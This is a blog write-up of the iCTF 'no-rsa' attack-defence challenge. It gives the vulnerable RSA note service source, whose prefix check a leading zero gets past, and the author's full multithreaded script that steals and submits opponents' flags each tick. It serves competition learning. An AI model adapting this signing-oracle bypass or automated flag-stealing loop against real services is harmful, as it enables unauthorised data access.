Saturday 4 March 2017

iCTF no-rsa

This was my first time competing in an attack and defence CTF and it was pretty fun :)

The no-rsa challenge was pretty simple.

When you connect you get the following menu

Hi! Welcome to our note storage system. It's based on RSA!
What do you want to do?
1. Write a Note -> Type W
2. Reading a specific note? -> Type R
3. Request for a signature of your integer? -> Type S


You needed to get an opponent to sign their flag_id (given by the iCTF api) so you can access their flag note
the program claims to refuse to sign things that start with 1111, which is all of the flag_id's here's how it does it

if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with four consecutive ones!'

we can get around it by sending 01111... as the start of our number

The real trick to this CTF was making sure you exploited everyone's challenge every time it 'ticks' (generally 5 minutes)
it wasn't a super fast connection and there were a lot of competitors. So I wrote a pretty fantastic multithreaded thing that worked rather well

Here is the full source code of the challenge



#!/usr/bin/python
import os
import sys
import json
import random
import string
from Crypto.PublicKey import RSA
N = None
P = None
Q = None
PHI = None
E = 65537
D = None
FILE_DIR = 'files'

def service():
    print "Hi! Welcome to our note storage system. It's based on RSA!"
    print 'What do you want to do?'
    print '1. Write a Note -> Type W'
    print '2. Reading a specific note? -> Type R'
    print '3. Request for a signature of your integer? -> Type S'
    sys.stdout.flush()
    cmd = raw_input()
    if cmd == 'W':
        write_note()
    elif cmd == 'R':
        read_note()
    elif cmd == 'S':
        sign()


def generate_random_note_id():
    return '1111' + ''.join((random.choice(string.digits) for x in range(36)))


def sign():
    global E
    global N
    print 'Here is our public key (you need them in order to verify the signature): N E'
    print N, E
    print 'Please type: number!'
    print "We don't sign integers starting with four consecutive ones!"
    sys.stdout.flush()
    number = raw_input()
    if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with four consecutive ones!'
        sys.stdout.flush()
    else:
        if number.isdigit():
            s = dec(int(number))
            print 'The signature: '
            print s
            sys.stdout.flush()
            return s
        print 'Not a number!'
        sys.stdout.flush()


def read_note():
    print 'Please type: note_id token'
    sys.stdout.flush()
    note_id, token = raw_input().split(' ', 2)
    try:
        with open('{}/{}'.format(FILE_DIR, note_id)) as f:
            json_data = json.load(f)
            real_token = json_data['token']
            content = json_data['content']
    except Exception as e:
        print 'wrong note_id!'
        sys.stdout.flush()
        return

    if token != real_token:
        print 'Wrong token!'
        sys.stdout.flush()
        return
    print 'Note content: ', content
    sys.stdout.flush()


def write_note():
    while True:
        note_id = generate_random_note_id()
        if not os.path.isfile(note_id):
            break

    print 'Please type: content (in just one line)'
    sys.stdout.flush()
    content = raw_input()
    token = str(dec(int(note_id)))
    with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
        json.dump({'token': token,
         'content': content}, f)
    print 'Your note is safe with us! You can retrieve it later by these information: note_id token'
    print note_id, token
    sys.stdout.flush()


def enc(x):
    return modpow(x, E, N)


def dec(c):
    global D
    return modpow(c, D, N)


def modpow(a, b, m):
    """
        a^b mod m

        used for rsa
    """
    result = 1
    a = a % m
    while b > 0:
        if b % 2 == 0:
            a = a * a % m
            b = b / 2
        else:
            result = result * a % m
            b = b - 1

    return result


def initialize_rsa_credentials():
    global PHI
    global E
    global D
    global N
    global Q
    global P
    if os.path.isfile('rsa.txt'):
        with open('rsa.txt') as rsa_data:
            rsa_credentials = json.load(rsa_data)
            N = rsa_credentials['N']
            P = rsa_credentials['P']
            Q = rsa_credentials['Q']
            PHI = rsa_credentials['PHI']
            E = rsa_credentials['E']
            D = rsa_credentials['D']
            return
    key = RSA.generate(1024, e=E)
    N = getattr(key.key, 'n')
    P = getattr(key.key, 'p')
    Q = getattr(key.key, 'q')
    D = getattr(key.key, 'd')
    PHI = (P - 1) * (Q - 1)
    with open('rsa.txt', 'w') as file:
        json.dump({'N': N,
         'P': P,
         'Q': Q,
         'E': E,
         'D': D,
         'PHI': PHI}, file)


def make_file_dir():
    if not os.path.isdir(FILE_DIR):
        os.makedirs(FILE_DIR)


if __name__ == '__main__':
    initialize_rsa_credentials()
    make_file_dir()
    service()








And here is my solution






#!/usr/bin/env python
# pwn all the no-rsa challs for iCTF
# paste_bin K17

import sys
from ictf import iCTF
from pwn import *

from multiprocessing import Pool
import multiprocessing

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial
i = iCTF()
t = i.login('[REDACTED]', '[REDACTED]')

print "[*] logged in"
# context.log_level = 1


def attack_target(target):
    context.log_level = 1000

    try:
        conn = remote(target["hostname"], target["port"])
        conn.recvuntil("Type S")
        conn.sendline("S") # we want to sign their id
        conn.recvuntil("consecutive ones!")
        conn.sendline("0" + target["flag_id"])
        conn.recvuntil("The signature: \n")
        signature = conn.recvuntil("\n")
        # print "[!] Signature = " + signature
        conn.close()

        conn = remote(target["hostname"], target["port"])
        conn.recvuntil("Type S")
        conn.sendline("R") # we now want to read their flag file
        conn.recvuntil("Please type: note_id token\n")
        # send their flag_id and the signature
        conn.sendline(target["flag_id"] + " " + signature)
        conn.recvuntil("Note content:  ")
        flag = conn.recvuntil("\n").rstrip()
        # print "[*] Flag = '" + flag + "'"
        conn.close()
        return str(flag)

    except:
        # print "[*] No flag from " + target["hostname"]
        pass
    return None


def abortable_worker(func, *args, **kwargs):
    timeout = kwargs.get('timeout', None)
    p = ThreadPool(1)
    res = p.apply_async(func, args=args)
    try:
        out = res.get(timeout)  # Wait timeout seconds for func to complete.
        return out
    except multiprocessing.TimeoutError:
        # print("Aborting due to timeout")
        p.terminate()
        return None


def get_next_tick():
    tick = 10
    try:
        tick = int(t.get_tick_info()["approximate_seconds_left"])
    except:
        pass
    return tick

def get_targets(chall):
    try:
        targets = t.get_targets(chall)["targets"]
        return targets
    except:
        print "Failed to get targets"
        sleep(1)
        return get_targets(chall)

def wait():
    context.log_level = 3
    next_tick = get_next_tick()
    with log.progress('Waiting:') as p:
        while next_tick > 2:
            next_tick = get_next_tick()
            p.status(str(next_tick))
        sleep(1)
    context.log_level = 100

def submit_flags(flags):
    print "Submitting FLAGS"
    good = False
    while not good:
        try:
            return t.submit_flag(flags)
            good = True
            sleep(1)
        except:
            print "Submittion failed, trying again"
            # print flags
            sleep(1)
            pass
def attack(timeout=1):
    next_tick = get_next_tick()
    targets = get_targets("no-rsa")
    # print "there are this many targets"
    # print len(targets)
    pool = Pool(processes=len(targets)) 
    abortable_func = partial(abortable_worker, attack_target, timeout=timeout)
    flags = [x for x in pool.map(abortable_func, targets) if x != None]
    pool.close()                         
    pool.join() 
    print "Pwned " + str(len(flags))
    return flags


def flags_the_same(flags):
    if len(flags) == 0:
        return True

    template = flags[0]
    for flag in flags:
        if flag != template:
            print flag
            print template
            return False
    return True

while True:

    next_tick = get_next_tick()
    # make sure we are in the tick
    sleep(4)
    print "~~HACKING~~"
    print "Next tick is in " + str(next_tick)

    
    flags = attack(timeout=4)
    responses = submit_flags(flags)
    print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    print responses

    while 'correct' in responses:
        print "Going Again"
        flags = attack(timeout=1)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    
    print "no more corrects"

    # blitz
    # if it's a short timer then smash the ones we can do quickly
    print "BLITZ"
    while get_next_tick() < 60:
        flags = attack(timeout=1)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
        print "Tick:" + str(get_next_tick())
        # sleep(1)




    while 'correct' in responses or get_next_tick() > 60:
        print 'doing a slow batch'
        next_tick = get_next_tick()
        print "Next batch in " + str(next_tick)
        flags = attack(timeout=5 + next_tick/10)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    print responses
    print "no more corrects"
    wait()